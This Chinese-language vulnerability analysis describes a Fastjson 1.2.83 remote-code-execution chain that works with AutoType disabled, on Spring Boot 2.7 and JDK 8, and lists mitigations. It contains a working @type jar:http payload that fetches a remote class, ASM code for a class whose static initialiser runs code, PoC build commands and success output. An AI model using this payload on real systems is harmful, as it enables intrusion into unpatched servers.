Fastjson 1.2.83 RCE漏洞分析(AI)

Fastjson 1.2.83 RCE漏洞分析(AI)

参考 PoC 仓库:https://github.com/ThanatosXingYu/2026FastjsonPoC

本文为授权安全研究 / 本地复现 / 防御验证。所有 PoC 代码均在本地隔离环境验证,<clinit> 仅创建标记文件,不执行破坏性命令。

背景

Fastjson 是 Alibaba 开源的高性能 JSON 库,长期是 Java 生态里用得最多的 JSON 库之一。它最危险也最广为人知的特性是 AutoType------允许在 JSON 里用 @type 指定反序列化目标类。从 1.2.24 到 1.2.83,官方一路靠黑名单、白名单、autoType 默认关闭、safeMode 等手段打补丁。

到了 1.2.83,AutoType 默认关闭,safeMode 也号称是终极防御。很多人的安全结论是:"1.2.83 只要不开 AutoType 就安全"。但这个结论漏掉了一个变量------@JSONType 注解驱动的那条"资源探测"信任分支。

这条分支在 AutoType 关闭时依然保留:checkAutoType 会把 @type 的值当资源名,去 ClassLoader 里 getResourceAsStream 拉字节码,扫描是否带 @JSONType,带则视为可加载类型并 loadClass。攻击者只要把 @type 拼成一个 jar:http://攻击者/probe!/POC 形态的 URL,在经典 Spring Boot FatJar(LaunchedURLClassLoader)+ JDK 8 环境下,就能让目标进程远程拉 jar、defineClass、触发 <clinit>,完成代码执行。

这条链与历史 fastjson RCE 最大的不同在于:它不需要开 AutoType,不依赖 JdbcRowSetImpl/TemplatesImpl 等任何黑名单 gadget,执行点就在 parse 阶段的远程类 <clinit>。属于"纯库一键 RCE"。
flowchart LR A"攻击者" -->|"POST @type:jar:http://....!/POC"| B"Spring Boot FatJar 目标\
(fastjson 1.2.83, autoType 关)"
B -->|"LaunchedURLClassLoader<br/>经 jar: Handler fallback 拉远程 jar"| C"攻击者 :18080\
返回带 @JSONType 的恶意 jar"
C --> B B -->|"defineClass + 触发 <clinit>"| D"RCE" style D fill:#ffcccc,stroke:#b71c1c,stroke-width:2px

影响

  • 影响组件 :fastjson 1.2.66 -- 1.2.83
  • 触发形态 :Spring Boot 经典 FatJar(2.7.x 及更早,含 1.5.x)的 LaunchedURLClassLoader,或任何"会把 jar: URL 当资源解析拉取"的 ClassLoader
  • 成败开关 :完整 RCE 必须 JDK 8 ;JDK 9+ 仍可 SSRF 拉 jar,但 defineClass 因非法类名失败
  • 前置条件 :AutoType 关闭亦可 (靠 @JSONType 走信任分支);目标进程可访问攻击者 HTTP
  • 入口 :JSON.parse(payload) 即可

Fastjson 使用

先看一段再普通不过的代码。一个 Spring Boot 2.7 项目,pom 里引入 fastjson 1.2.83:

xml 复制代码
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version>
</dependency>

业务代码里把外部 JSON 直接喂给 fastjson 反序列化:

java 复制代码
Object obj = JSON.parse(json);    // 或者 JSON.parseObject(json, SomeBean.class)

正常请求毫无问题。问题在于 @type 被攻击者控制时,即便 AutoType 关闭,fastjson 内部仍有一条路能"探一下、拉一下、加载一下"。

ASM 是什么,为什么 PoC 要用 ASM 生成

在讲复现之前,先把这个漏洞里一个容易被忽略、但实际是"能否成立"前提的工具讲清楚------ASM 。因为 PoC 生成远程类 POC.class 用的是 ASM,而不是 javac 编译 Java 源码。这不是作者偏好,而是这道题的硬性要求

ASM 是什么

ASM 是一个 Java 字节码操作与分析框架(官网 https://asm.ow2.io/),它直接读写 class 文件的二进制结构------常量池、方法表、属性表、注解表------而不经过 Java 源码 / javac。可以理解为"直接写 .class 字节码的 API"。常见用途:编译期织入(AOP、lombok)、运行期生成代理、序列化/反序列化框架内部动态生成类。

用 ASM 生成一个类,核心就是 ClassWriter:

java 复制代码
ClassWriter writer = new ClassWriter(ClassWriter.COMPUTE_MAXS);
writer.visit(V1_8, ACC_PUBLIC, internalName, null, "java/lang/Object", null); // ★ internalName 是 class 常量池的 this_class
AnnotationVisitor ann = writer.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true);
ann.visitEnd();
// ... <init> 和 <clinit> 方法字节码 ...
byte[] bytes = writer.toByteArray();   // 得到 class 文件字节

为什么这里必须用 ASM,不能用 javac

关键在于:类名

PoC 把远程类的字节码常量池 this_class(内部名)故意写成了非法形态:

复制代码
jar:http://2130706433:18080/probe!/POC

这个名字含 :/!------它们都不是 Java 合法标识符字符 。Java 语言规定,包名和类名只能由 [A-Za-z0-9_$] 构成(且不能以数字开头),: / ! 全是非法的。

因此这个类根本无法用 Java 源码写出来 ------javac 在语法分析阶段就过不去:
flowchart LR SRC"Java 源码\
public class jar:http://...!/POC { }"
--> JC"javac" JC --> ERR"语法错误: 需要 '{'\
(: / ! 非法标识符, 编译失败) ✗"
ASMW"ASM ClassWriter\
writer.visit(..., 'jar:http://...!/POC')"
--> BYTES"class 字节码\
this_class = jar:http://...!/POC\
(没有任何合法性校验) ✓"
style ERR fill:#ffcdd2,stroke:#b71c1c style BYTES fill:#c8e6c9,stroke:#1b5e20,stroke-width:2px

实测对照(本机 JDK8u422):

复制代码
// 源码写一个非法名类
public class jar:http:..localhost { }
→ javac 报错: 需要 '{'   (语法分析阶段就失败)

// ASM 直接写字节码
writer.visit(V1_8, ACC_PUBLIC, "jar:http://2130706433:18080/probe!/POC", ...)
→ javap -v 可见:#1 = Utf8  jar:http://2130706433:18080/probe!/POC
                 public class jar:http://..2130706433:18080.probe!.POC

javap -v 看到的 public class jar:http://..2130706433:18080.probe!.POC 已经不是任何合法 Java 类该有样子了------javac 永远产不出这种 class。这正是必须要 ASM 的原因。

这个"非法名"为什么是 RCE 的命门

把类名写成 jar:http://...!/POC 不是炫技,而是和 fastjson 的那条信任分支精确咬合:
flowchart LR T"@type 值\
jar:http:..host:port.probe!.POC (. 形态)"
T -->|"fastjson: replace('.', '/') + '.class'"| R"资源名\
jar:http://host:port/probe!/POC.class\
(正是远程 jar 里的条目路径! LaunchedURLClassLoader 去拉)"
R -->|"字节码 this_class"| I"internalName\
jar:http://host:port/probe!/POC\
(class 常量池, / 形态)"
I -. defineClass 时 name 须与 this_class 对应 .-> KT"三态对齐 ★\
@type / 资源URL / 字节码类名\
必须是同一个字符串的不同字形"
style KT fill:#ffe0b2,stroke:#e65100,stroke-width:2px

类名(arrived at via remote jar 条目名 POC.class → class 字节码 this_class)必须等于 fastjson 用 @type 还原出来的那个 jar:http://...!/POC。这个字符串天生非法 ,javac 写不出来,只能靠 ASM 直接填充常量池。

小结:ASM 在这里的唯一不可替代作用,是绕开 Java 语言对类名的合法标识符约束,直接构造一个"名字本身就是 jar:http URL"的 class 文件 。这是整条链能咬合起来的物理前提。当然,如果远程类还需要更复杂的字节码(比如真实攻击中 <clinit> 里塞 Runtime.exec 内联 shellcode),ASM 也是唯一能在不落地源码、不触发编译期安全检查的前提下精细拼装字节码的方式------但这不是本漏洞 ASM 的核心原因,核心原因就是"非法类名"。

PoC 中 ASM 的实际写法

CraftProbe.craftClass(src/main/java/CraftProbe.java)用 ASM 同时完成三件事:

java 复制代码
public static byte[] craftClass(String internalName, String pwnedFile) {
    ClassWriter writer = new ClassWriter(ClassWriter.COMPUTE_MAXS);
    // ① 非法名:this_class = jar:http://2130706433:18080/probe!/POC (javac 写不出来, ASM 才能)
    writer.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, internalName, null, "java/lang/Object", null);

    // ② @JSONType 注解:打开 fastjson trust 分支的钥匙
    AnnotationVisitor annotation = writer.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true);
    annotation.visitEnd();

    // ③ <clinit>:类被 defineClass 并初始化时的执行点 (实战里替换成 Runtime.exec)
    MethodVisitor method = writer.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);
    method.visitCode();
    ... // System.out.println(...); new File(pwnedFile).createNewFile();
    method.visitEnd();

    writer.visitEnd();
    return writer.toByteArray();
}

漏洞复现

PoC 仓库:https://github.com/ThanatosXingYu/2026FastjsonPoC

Payload

json 复制代码
{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}
  • 2130706433127.0.0.1 的整数形式(InetAddress 网络字节序),规避肉眼识别 / 部分过滤:

flowchart LR A"2130706433" -->|"0x7F000001 big-endian"| B"127.0.0.1"

  • @typejar:http:..2130706433:18080.probe!.POC 经 fastjson 内部 replace('.', '/') 后还原为 jar:http://2130706433:18080/probe!/POC.class,即一个合法的 jar: URL(外层 jar:、内层 http://攻击者:端口/probe! 分隔条目 POC.class)。

构建

PoC 提供了一键脚本:

bash 复制代码
git clone https://github.com/ThanatosXingYu/2026FastjsonPoC
cd 2026FastjsonPoC
bash scripts/build-harness.sh
# 下载 lib/fastjson-1.2.83.jar、lib/spring-boot-loader-2.7.18.jar、lib/asm-9.6.jar
# 生成 target/classes、probe.jar(内部类名 jar:http://2130706433:18080/probe!/POC,<clinit> 创建 PWNED2)

基线:普通 classpath(预期失败 / 无出网)

bash 复制代码
java -cp "target/classes:lib/fastjson-1.2.83.jar" Test parse-default

预期:autoType is not supportrequests received: 0、无 PWNED2。普通 AppClassLoader 不会把 jar:http:// 当资源拉取。

完整 RCE:Spring Boot 2.7 Loader + JDK 8

bash 复制代码
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar:lib/asm-9.6.jar" Test2 sb27-parse
ls -la PWNED2

实测输出(JDK8u422):
flowchart TB subgraph JDK8"JDK 8 + SB 2.7 LaunchedURLClassLoader" A1"\[warmup getResource=jar:http://localhost:18080/probe!/POC.class\<br/>read=4 magic=cafebabe ✓"] A2"\[parse autoTypeSupport=false"] A3"REMOTE POC \ EXECUTED ★" A4"\[parse parsed -> jar:http:..localhost:18080.probe!.POC@445b84c0"] A5"\[server requests: 6<br/>GET /probe x6, served probe.jar"] A6"\[pwned PWNED2 exists: true ★<br/>result SUCCESS"] A1 --> A2 --> A3 --> A4 --> A5 --> A6 end style A3 fill:#c8e6c9,stroke:#1b5e20,stroke-width:2px style A6 fill:#c8e6c9,stroke:#1b5e20,stroke-width:2px

关键输出:

复制代码
[warmup] getResource=jar:http://localhost:18080/probe!/POC.class
[warmup] read=4 magic=cafebabe
[parse] autoTypeSupport=false
[parse] payload={"@type":"jar:http:..localhost:18080.probe!.POC","x":1}
REMOTE POC <clinit> EXECUTED (class defined from jar:http URL)
[parse] parsed -> jar:http:..localhost:18080.probe!.POC jar:http:..localhost:18080.probe!.POC@445b84c0
[server] requests: 6
[pwned] PWNED2 exists: true
[result] SUCCESS

PWNED2 文件被创建、<clinit> 执行、autoType 关闭------RCE 实证成立。

这里 magic=cafebabe 那行很关键:它证明 LaunchedURLClassLoader.getResource("jar:http://...") 不仅联网,还真的把远程 jar 里的 POC.class 字节读回来了(前 4 字节正是 class 文件 magic CA FE BA BE)。

对照:JDK 9+(仅 SSRF)

同样命令换 JDK 17 跑:
flowchart TB subgraph JDK17"JDK 17 + 同 PoC" B1"\[server requests: 8<br/>(SSRF 仍发生,远程 jar 被拉)"] B2"ClassFormatError: Illegal class name\
'jar:http://localhost:18080/probe!/POC'"
B3"\[parse threw: autoType is not support"] B4"\[pwned PWNED2 exists: false<br/>result FAIL (full RCE expects JDK 8)"] B1 --> B2 --> B3 --> B4 end style B2 fill:#ffcdd2,stroke:#b71c1c,stroke-width:2px style B4 fill:#fff9c4

JDK 17 出网发生了(requests: 8),但 defineClassClassFormatError,RCE 没成。原因在"最后一跳"细讲。

原理分析

1. 名字三态对齐:PoC 的核心设计

PoC(CraftProbe.java)用 ASM(见上节)同时构造出"三态一致"的字符串,这是绕过 fastjson 黑名单并让 defineClass 名实相符的关键。
flowchart LR T"typeName\
jar:http:..2130706433:18080.probe!.POC\
(放进 @type, . 形态, 无斜杠)"
T -->|"checkAutoType:<br/>typeName.replace('.','/') + '.class'"| R"resourceName\
jar:http://2130706433:18080/probe!/POC.class\
(/ 形态, 用于 getResource 拉远程 jar)"
R -->|"字节码 this_class"| I"internalName\
jar:http://2130706433:18080/probe!/POC\
(class 常量池, / 形态, ASM 才能写)"
T -. paramName of defineClass .-> D"defineClass(name=typeName, bytes)\
name 无斜杠, 是关键!"
style T fill:#e3f2fd style R fill:#fff3e0 style I fill:#f3e5f5 style D fill:#ffe0b2,stroke:#e65100,stroke-width:2px

注意一个反直觉的点:进 defineClassnametypeName(. 形态,无 /) ,不是 internalName(含 /)。replace('.','/') 只发生在算 resource 的那一步(用来 getResource 拉远程 jar)。这个差异决定了"最后一跳"为什么 JDK8 能过、JDK9+ 不能过。

2. @JSONType 注解:打开 loadClass 的信任门

PoC 生成的远程类带一个注解:

java 复制代码
writer.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true);

这正是 AutoType 关闭下唯一能合法走到 loadClass 的钥匙。往下看 fastjson 源码就明白。

3. 从源码跟进触发链

入口用 untyped JSON.parse(payload)DefaultJSONParser.parseObject 读到 @type 后调用:

java 复制代码
// DefaultJSONParser.java:343
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());

checkAutoType 在 AutoType 关闭路径里的关键步骤(parser/ParserConfig.java):
flowchart TD P"@type = jar:http:..2130706433:18080.probe!.POC" --> CAT"checkAutoType(typeName, null)\
autoType OFF"
CAT --> BLK"prefix-hash 黑名单扫描\
jar:/http:/十进制IP 不命中 → 放行 ✓"
BLK --> RES"resource = replace('.','/') + '.class'\
= jar:http://2130706433:18080/probe!/POC.class\
defaultClassLoader.getResourceAsStream(resource)"
RES --> LC"LaunchedURLClassLoader\
(Spring Boot 2.7 FatJar loader)"
LC -->|"jar: Handler fallback 到<br/>sun.net.www.protocol.jar.Handler"| DL"下载远程 probe.jar\
取条目 POC.class 字节码 ✓\
(到这一步 SSRF 已成立)"
DL --> CR"ClassReader 扫描字节码\
hasJsonType() == true ✓"
CR --> LOAD"jsonType 命中 → TypeUtils.loadClass(typeName, ...)\
(ParserConfig:1500)"
LOAD --> DEF"LaunchedURLClassLoader.defineClass\
(name = typeName 无斜杠)"
DEF --> JDK{"JDK 版本?"} JDK -->|"JDK 8: defineClass1 放行非法类名"| OK8"类定义成功 → 触发 \ = RCE ★" JDK -->|"JDK 9+: ClassFormatError<br/>Illegal class name"| FAIL17"defineClass 抛异常被 catch 吞\
loadClass=null → 1542 拒绝 → 仅 SSRF"
style DL fill:#ffe0b2,stroke:#e65100,stroke-width:2px style DEF fill:#ffe0b2,stroke:#e65100,stroke-width:2px style JDK fill:#fff3e0,stroke:#e65100,stroke-width:3px style OK8 fill:#c8e6c9,stroke:#1b5e20,stroke-width:2px style FAIL17 fill:#fff9c4

对应源码(ParserConfig.java:1480-1503):

java 复制代码
// ① 仅用于"拉远程 jar / 探测 @JSONType"
String resource = typeName.replace('.', '/') + ".class";           // jar:http://host:port/probe!/POC.class
if (defaultClassLoader != null) {
    is = defaultClassLoader.getResourceAsStream(resource);         // ← LaunchedURLClassLoader 拉远程 jar(联网)
} else {
    is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
    ClassReader classReader = new ClassReader(is, true);
    TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
    classReader.accept(visitor);
    jsonType = visitor.hasJsonType();                              // ★ 探测到 @JSONType → jsonType=true
}
...
// ② loadClass 传的是【原样 typeName】,内部不做任何 replace
if (autoTypeSupport || jsonType || expectClassFlag) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); // ← defineClass + 初始化
}

关键源码位置:

位置 作用
DefaultJSONParser.java:343 untyped @typecheckAutoType(typeName, null)
ParserConfig.java:1482-1499 resource = replace('.','/')+'.class';getResourceAsStream;ClassReader 探测 @JSONType
ParserConfig.java:1500-1503 jsonType 命中 → TypeUtils.loadClass(typeName, ...)
util/TypeUtils.java:1735-1761 classLoader.loadClass(className)(联网 + defineClass,className 原样为 typeName)
ParserConfig.java:1542 AutoType OFF 最终拒绝(仅当 loadClass 返回 null 时才走到)

4. 为什么是 Spring Boot 2.7 FatJar + LaunchedURLClassLoader

经典 Spring Boot FatJar(java -jar)用 JarLauncher 启动,fastjson 的 ParserConfig 所在 ClassLoader 是 LaunchedURLClassLoader(extends URLClassLoader)。它的 jar: URL Handler 有一段关键 fallback(spring-boot-loader 2.7Handler.java):

java 复制代码
private static final String[] FALLBACK_HANDLERS = { "sun.net.www.protocol.jar.Handler" };

@Override
protected URLConnection openConnection(URL url) throws IOException {
    try { return JarURLConnection.get(url, getRootJarFileFromUrl(url)); }
    catch (Exception ex) { return openFallbackConnection(url, ex); }   // ← 回退
}

private URLConnection openFallbackConnection(URL url, Exception reason) throws IOException {
    ...
    return openFallbackHandlerConnection(url);   // → sun.net.www.protocol.jar.Handler
}

jar:http://攻击者/probe!/POC.class 这种非本地嵌套 jar URL,它无法用 getRootJarFileFromUrl 解析,于是 fallback 到 JDK 自带的 sun.net.www.protocol.jar.Handler------后者会把内层 http:// 当 HTTP 请求发出去,下载远程 jar 并取条目字节流。这就是 LaunchedURLClassLoader.getResource("jar:http://...") 能拉到远程 class 的根因。

注意:Spring Boot 3.2 起把 loader 的 jar: Handler 彻底重写(org.springframework.boot.loader.net.protocol.jar.Handler),删除了 FALLBACK_HANDLERS 这段回退 。所以 Spring Boot 3.x / 4.x 的 LaunchedClassLoader 不再向远程 http:// 发请求。2.7(及更早)才是真正能远程拉 jar 并 defineClass 的形态。

5. 最后一跳:为什么完整 RCE 必须 JDK 8(逐行实证)

这一段是整个漏洞最精妙、也最容易误判的地方。我在排查时曾反复卡在这里,最后追到了 HotSpot VM 层。

第一步:checkAutoTypedefineClass 的 name 是 typeName(无 /)。 TypeUtils.loadClass(className, ...) 把 className 原样传给 classLoader.loadClass(className),最终到 ClassLoader.defineClass(name=className, ...)。所以进 defineClass 的 name 是 jar:http:..localhost:18080.probe!.POC(含 : ! .,不含 /),不是 internalName。

第二步:Java 层 ClassLoader.checkName 两版一致,都放行。 JDK8(ClassLoader.java:861)和 JDK17(:1144)的 checkName 完全是同一套逻辑,只拒 /[ 前缀:

java 复制代码
private boolean checkName(String name) {
    if ((name == null) || (name.isEmpty())) return true;
    if ((name.indexOf('/') != -1)                          // 唯一硬拒:含 '/'
        || (name.charAt(0) == '['))                        // 数组前缀
        return false;
    return true;
}

: ! . 它一概不管。typeName/checkName 在 JDK8 和 JDK17 都返回 true ,preDefineClass 都不抛 IllegalName分界点不在 Java 层。

第三步:真正的开关是 HotSpot native defineClass1 Java 层放行后进入 native defineClass1。JDK9+ 的 HotSpot 在 class file 解析阶段(classFileParser.cpp)对 binary name 字符集(及 name ↔ this_class 对应关系)做了 VM 层校验,jar:http:.....!.POC: ! 不合法,抛:

复制代码
java.lang.ClassFormatError: Illegal class name "jar:http://localhost:18080/probe!/POC" in class file ...

JDK8 的 VM 没有这一层校验 ,native defineClass1 信任 Java 层 checkName,于是 jar:http:..localhost:18080.probe!.POC 这种含 : ! 的名字被 VM 接受、defineClass 成功。

逐行实证 :用 ASM 生成 this_class = jar:http://localhost:18080/probe!/POCPOC.class(再次强调,这种非法名只有 ASM 能写),用反射调裸 ClassLoader.defineClass(name, bytes, 0, len),固定字节、只变 name,在 JDK8u422 与 JDK17.0.15 上对照:

defineClassname JDK 8u422 JDK 17.0.15
(a) jar:http:..localhost:18080.probe!.POC(typeName,/) 成功 ClassFormatError: Illegal class name
(b) jar:http://localhost:18080/probe!/POC(internalName,/) IllegalName(checkName 因 / 拒) IllegalName(同上)
(c) null ❌ LinkageError(VM 用字节码 internalName) ClassFormatError

读数:

  • 第 (a) 行是 PoC 实际用的形态:JDK8 defineClass 成功,JDK17 在 VM 层 defineClass1 失败。
  • 第 (b) 行两边都因 /IllegalName,证明 Java 层逻辑一致、分界点不在 Java 层
  • 第 (c) 行 null 在 JDK17 仍抛 ClassFormatError,进一步坐实校验发生在 VM native 层

端到端调用栈(JDK8 RCE 成功时):

复制代码
TypeUtils.loadClass(typeName, LaunchedURLClassLoader, cache)        // className = "jar:http:..localhost:18080.probe!.POC" (无 /)
  └─ LaunchedURLClassLoader.loadClass(name, resolve)                 // spring-boot-loader 2.7
       └─ URLClassLoader.loadClass → URLClassLoader.findClass
            └─ URLClassPath.getResource("jar:http://...probe!/POC.class")
                 └─ Handler.openConnection → fallback → sun.net.www.protocol.jar.Handler   // 下载远程 probe.jar
            └─ URLClassLoader.defineClass(name, Resource)             // java/net/URLClassLoader.java:449
                 └─ defineClass(name, b, 0, b.length, cs)
                      └─ ClassLoader.preDefineClass → checkName ✅     // name 无 /,放行
                      └─ ClassLoader.defineClass1 (native, JDK8 VM)    // JDK8 VM 不校验 : !,接受
                           → 类定义成功
  ← loadClass 返回该 Class
后续 fastjson 以 @JSONType bean 处理 / 实例化 → 触发 <clinit> → 任意代码执行

JDK17 同栈在 defineClass1(native)抛 ClassFormatError,被 TypeUtils.loadClasscatch(Throwable) 吞掉,loadClass 返回 null,checkAutoType:1542 拒绝 → 仅 SSRF。

结论:最后一跳不是 Spring Boot loader 的独有差异(loader 只负责"拉远程 jar"这一前置能力),而是一个 JDK VM 版本差异 。RCE 的成败纯由 JDK VM 版本决定:LaunchedURLClassLoader 在 JDK8 上能成功,在 JDK9+ 上同样失败------裸 ClassLoader.defineClass 行为与之完全一致。

补丁 / 缓解分析

flowchart TD NOW"现状: fastjson 1.2.83 + SB 2.7 FatJar + JDK 8\
autoType 关仍可 @JSONType 远程类加载 RCE"
NOW --> M1"① 开启 safeMode(最有效一刀)" NOW --> M2"② 升级 fastjson / 迁移 fastjson2" NOW --> M3"③ JDK 升到 9+(临时降级为 SSRF,非根治)" NOW --> M4"④ Spring Boot 升到 3.2+(loader 删 jar: fallback)" NOW --> M5"⑤ 出口网络隔离 + 入口收敛" M1 --> M1D"checkAutoType:1329 在资源探测/loadClass 之前\
直接抛 'safeMode not support autoType',\
彻底切断 @JSONType 信任分支"
M3 --> M3D"defineClass1 因非法类名失败 → RCE 不可达\
(但 SSRF 仍在,仅降级)"
M4 --> M4D"jar: Handler 删 fallback → 不再拉远程 http://,\
从 ClassLoader 层切断远程类拉取"
style M1 fill:#c8e6c9,stroke:#1b5e20,stroke-width:2px

  1. 开启 safeMode(首选) :ParserConfig.getGlobalInstance().setSafeMode(true)-Dfastjson.parser.safeMode=true。源码确认 checkAutoType:1329 的 safeMode 分支在资源探测与 loadClass 之前直接抛异常,一刀切断本链。
  2. 升级 fastjson / 迁移 fastjson2:1.2.83 非安全终态;fastjson2 重做了类型体系。
  3. JDK 升到 9+ :把 RCE 降级为 SSRF(非法类名 defineClass 失败),但仅降级、未根治------SSRF 仍可用于内网探测。
  4. Spring Boot 升到 3.2+ :loader 的 jar: Handler 删除 fallback,不再拉远程 http://,从 ClassLoader 层切断。
  5. 出口网络隔离 + 入口收敛 :进程级限制对内网/127.0.0.1/169.254.169.254 的出站;避免 JSON.parse(不可信输入) 或带 @type 的入口直接承载外部数据。

复现步骤(可复核)

bash 复制代码
git clone https://github.com/ThanatosXingYu/2026FastjsonPoC
cd 2026FastjsonPoC
bash scripts/build-harness.sh

# 基线:普通 classpath(预期失败 / 无出网)
java -cp "target/classes:lib/fastjson-1.2.83.jar" Test parse-default

# 完整 RCE:Spring Boot 2.7 Loader + JDK 8
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar:lib/asm-9.6.jar" Test2 sb27-parse
ls -la PWNED2        # 期望存在(JDK8)

# JDK 9+:SSRF-only
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar:lib/asm-9.6.jar" Test2 sb27-parse
ls -la PWNED2        # 期望不存在;stderr 出现 ClassFormatError: Illegal class name(JDK17)

# 直接 loadClass(绕开 fastjson,验证 LaunchedURLClassLoader defineClass)
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-load

# 一键验证 / 压测
bash scripts/verify-local.sh
bash scripts/stability-check.sh 10

复现前关闭系统 HTTP 代理或确保 http.nonProxyHosts 覆盖目标;整数 IP 形态 2130706433 在开启代理时可能连不上 probe(详见仓库 README 稳定性说明)。

总结

  • 影响版本 :fastjson 1.2.66 -- 1.2.83
  • 根因 :fastjson 即便 AutoType 关闭,checkAutoType 仍有"@type 当资源名 → getResourceAsStream → 探测 @JSONTypeloadClass"这条信任分支;@JSONType 注解是打开 loadClass 的钥匙。
  • 必须 ASM :远程类名被刻意写成 jar:http://...!/POC 这种含 :/! 的非法形态,以与 @type/资源 URL 三态对齐;这种类名 javac 写不出来 (Java 标识符不允许 :/!),只能用 ASM 直接填充 class 常量池------这是整条链能咬合的物理前提。
  • 放大器 :Spring Boot 2.7 FatJar 的 LaunchedURLClassLoader + jar: Handler fallback,把 jar:http://攻击者/...!/POC 真正变成"远程拉 jar 取字节"。3.2+ 已删该 fallback。
  • 成败开关(JDK VM) :defineClass 的 name 是无 /typeName,Java 层 checkName 一律放行;真正卡点在 HotSpot native defineClass1------JDK8 VM 不校验含 : ! 的类名,RCE 成立;JDK9+ VM 抛 ClassFormatError: Illegal class name,仅 SSRF。
  • 落点 :远程类 @JSONType + <clinit>,parse 阶段即执行,无需 gadget、无需 AutoType、无需二次调用
  • 缓解:safeMode(最有效)、升级 fastjson/fastjson2、Spring Boot 升 3.2+、JDK 升 9+(降级)、出口隔离。

本质上,这不是又一个黑名单绕过,而是 fastjson 在 AutoType 关闭后留下的一条"先探一下再拒"的信任分支,叠加 Spring Boot 2.7 loader 的 jar: 拉取能力、ASM 写出的非法名字节码、以及 JDK8 VM 宽松的 defineClass,四者合谋在 parse 阶段完成远程类加载与初始化。safeMode 的重要性,在这里体现得淋漓尽致。

引用

  • PoC 仓库:https://github.com/ThanatosXingYu/2026FastjsonPoC
  • ASM 官网与文档:https://asm.ow2.io/
  • fastjson 源码:com.alibaba:fastjson:1.2.83-sources.jar
    • parser/ParserConfig.java#checkAutoType(1326 / 1482 / 1500 / 1542)
    • util/TypeUtils.java#loadClass(1735)
    • parser/DefaultJSONParser.java(343)
  • JDK 源码
    • JDK8 java.lang.ClassLoader#checkName / preDefineClass / defineClass1(ClassLoader.java:643 / 750 / 853 / 861)
    • JDK17 java.lang.ClassLoader#checkName / defineClass1(ClassLoader.java:887 / 1017 / 1144)
    • java.net.URLClassLoader#defineClass(String, Resource)(URLClassLoader.java:449)
  • Spring Boot loader 2.7:org.springframework.boot.loader.LaunchedURLClassLoaderorg.springframework.boot.loader.jar.Handler(FALLBACK_HANDLERS fallback)
  • Spring Boot loader 3.2+:org.springframework.boot.loader.net.protocol.jar.Handler(删除 fallback)
  • HotSpot:ClassFormatError: Illegal class name "... in class file ..." 来自 classFileParser.cpp 的 binary-name 合法性校验,JDK9 起逐步加强
  • Fastjson safeMode:https://github.com/alibaba/fastjson/wiki/enable_autotype

公众号

欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!